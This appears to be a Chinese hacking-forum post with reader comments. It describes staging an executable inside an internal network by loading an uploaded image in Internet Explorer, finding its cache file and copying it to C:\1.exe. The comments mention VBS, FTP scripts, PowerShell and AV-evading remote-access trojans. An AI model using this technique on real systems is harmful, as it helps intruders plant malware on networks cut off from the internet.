一个奇葩的内网写入文件方法

2016-07-27 10:24:51 70 刘海哥 6966

引用90sec探讨的问题

找到一个可以上传图片的web站点。

"C:\Program Files\Internet Explorer\iexplore.exe" http://内网可以访问的站点/0/09/40/75/91ef76c6a7efce1bee5deaebac51f3deb48f6598.jpg

执行访问后会有缓存文件。

然后 cd 到C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files>

执行dir /s /w 91ef76c6a7efce1bee5deaebac51f3deb48f6598*.*   找到路径

接下来就是

 type 路径>C:\1.exe  应该可以突破他内网了。

类别渗透测试

关于作者

刘海哥5篇文章100篇回复

刘海哥

评论70次

要评论？请先登录或注册

50楼

刘海哥
2016-8-10 09:48

llehs：
嗯，有shell的情况下vbs就是麻烦些，这方法不错，还可以用ftp脚本
回复|@ta
1

其实这是在权限大的情况下吧。如果如果遇到小权限是没办法的。

回复|@ta|踩(0)|顶(0)
49楼

刘海哥
2016-8-10 09:47

googler：
不错，内网一般都是免杀远控，2008的试试poeweshell
回复|@ta
1

哈哈我比较菜

回复|@ta|踩(0)|顶(0)
48楼

Mir4cl3
2016-8-9 11:12

环境是一个dbserver cmd权限加一个存在上传的、db可访问的 webserver ， dbserver不连外网，需要db 拿到权限，通过访问webserver的图片生成在缓存然后可以改后缀执行程序。但是笔者的环境中db不连外网，执行木马的话又不能直接外连，请问有啥用？？？

回复|@ta|踩(0)|顶(0)
47楼

llehs
2016-8-8 10:48

嗯，有shell的情况下vbs就是麻烦些，这方法不错，还可以用ftp脚本

回复|@ta|踩(0)|顶(0)
46楼

googler
2016-8-7 19:17

不错，内网一般都是免杀远控，2008的试试poeweshell

回复|@ta|踩(0)|顶(0)
45楼

刘海哥
2016-8-6 21:39

chill：
我觉得这个可以适用于在能执行少部分cmd代码的情况下使用，感觉有一点像和上传vbs那样，代码传上去再改后缀
回复|@ta
1

就一个技巧。什么时候用到就拿出来哈哈

回复|@ta|踩(0)|顶(0)
44楼

刘海哥
2016-8-6 21:38

flower：
能执行命令的话这里已经完成了80% 至少，其余无非就是复杂与不复杂麻烦与不麻烦的问题。这个要对外访问利用IE写缓存然后读取再写入也算一个思路只要能对外一切没问题
回复|@ta
1
刘海哥：
你们没看配图哈哈！我说的是一种情况下。例如是一个http://www.baidu.com/index.PHP?id=1 這个是注入他的站酷分离。内网无法访问外网。但是猜测应该他可以访问他這个站点对吧。假设可以访问這个站点，就找到一个可以上传图片的地方上传到一个图片。然后就有这玩意
回复|@ta
2
flower：
原来是做跳板内网对内网访问
回复|@ta
3

哈哈,可能是我表达能力不行。说的基本没人看明白

回复|@ta|踩(0)|顶(0)
43楼

chill
2016-8-6 19:44

我觉得这个可以适用于在能执行少部分cmd代码的情况下使用，感觉有一点像和上传vbs那样，代码传上去再改后缀

回复|@ta|踩(0)|顶(0)
42楼

flower
2016-8-6 17:32

flower：
能执行命令的话这里已经完成了80% 至少，其余无非就是复杂与不复杂麻烦与不麻烦的问题。这个要对外访问利用IE写缓存然后读取再写入也算一个思路只要能对外一切没问题
回复|@ta
1
刘海哥：
你们没看配图哈哈！我说的是一种情况下。例如是一个http://www.baidu.com/index.PHP?id=1 這个是注入他的站酷分离。内网无法访问外网。但是猜测应该他可以访问他這个站点对吧。假设可以访问這个站点，就找到一个可以上传图片的地方上传到一个图片。然后就有这玩意
回复|@ta
2

原来是做跳板内网对内网访问

回复|@ta|踩(0)|顶(0)
41楼

刘海哥
2016-8-6 17:20

flower：
能执行命令的话这里已经完成了80% 至少，其余无非就是复杂与不复杂麻烦与不麻烦的问题。这个要对外访问利用IE写缓存然后读取再写入也算一个思路只要能对外一切没问题
回复|@ta
1

你们没看配图哈哈！我说的是一种情况下。例如是一个http://www.baidu.com/index.PHP?id=1 這个是注入他的站酷分离。内网无法访问外网。但是猜测应该他可以访问他這个站点对吧。假设可以访问這个站点，就找到一个可以上传图片的地方上传到一个图片。然后就有这玩意

回复|@ta|踩(0)|顶(0)
40楼

画船hctym
2016-8-6 15:43

膜拜大牛

回复|@ta|踩(0)|顶(0)
39楼

flower
2016-8-6 15:14

能执行命令的话这里已经完成了80% 至少，其余无非就是复杂与不复杂麻烦与不麻烦的问题。这个要对外访问利用IE写缓存然后读取再写入也算一个思路只要能对外一切没问题

回复|@ta|踩(0)|顶(0)
38楼

GetWriter
2016-8-6 08:37

都能执行命令这个用处不大了只能算个技巧，而且严格的内网一般不具备外网权限

回复|@ta|踩(0)|顶(0)
37楼

黑马甲
2016-8-5 16:02

虽然不懂内网渗透，但是感觉66的。要是如果有个小教程就更好了。

回复|@ta|踩(0)|顶(0)
36楼

刘海哥
2016-8-5 15:52

kinsey：
看半天没看懂，看了评论才懂，对于奇葩环境来说值得一试，平时都是powershell或者vbs
回复|@ta
1

我也感觉我的语言表达能力不行。

回复|@ta|踩(0)|顶(0)
35楼

刘海哥
2016-8-5 15:51

jk影：
为啥用type 不用直接用ren
回复|@ta
1

dos命令我知道的比较少

回复|@ta|踩(0)|顶(0)
34楼

kinsey
2016-8-5 15:24

看半天没看懂，看了评论才懂，对于奇葩环境来说值得一试，平时都是powershell或者vbs

回复|@ta|踩(0)|顶(0)
33楼

jk影
2016-8-5 09:41

为啥用type 不用直接用ren

回复|@ta|踩(0)|顶(0)
32楼

刘海哥
2016-8-3 10:43

ahkxhyl：
这个是什么方式没看明白
回复|@ta
1
刘海哥：
实践一下就知道了就是利用ie去生成个缓存
回复|@ta
2
ahkxhyl：
谢谢了~ 6~7年不玩黑了只是有时间来看看~
回复|@ta
3

原来是老司机

回复|@ta|踩(0)|顶(0)
31楼

ahkxhyl
2016-8-3 10:03

ahkxhyl：
这个是什么方式没看明白
回复|@ta
1
刘海哥：
实践一下就知道了就是利用ie去生成个缓存
回复|@ta
2

谢谢了~ 6~7年不玩黑了只是有时间来看看~

回复|@ta|踩(0)|顶(0)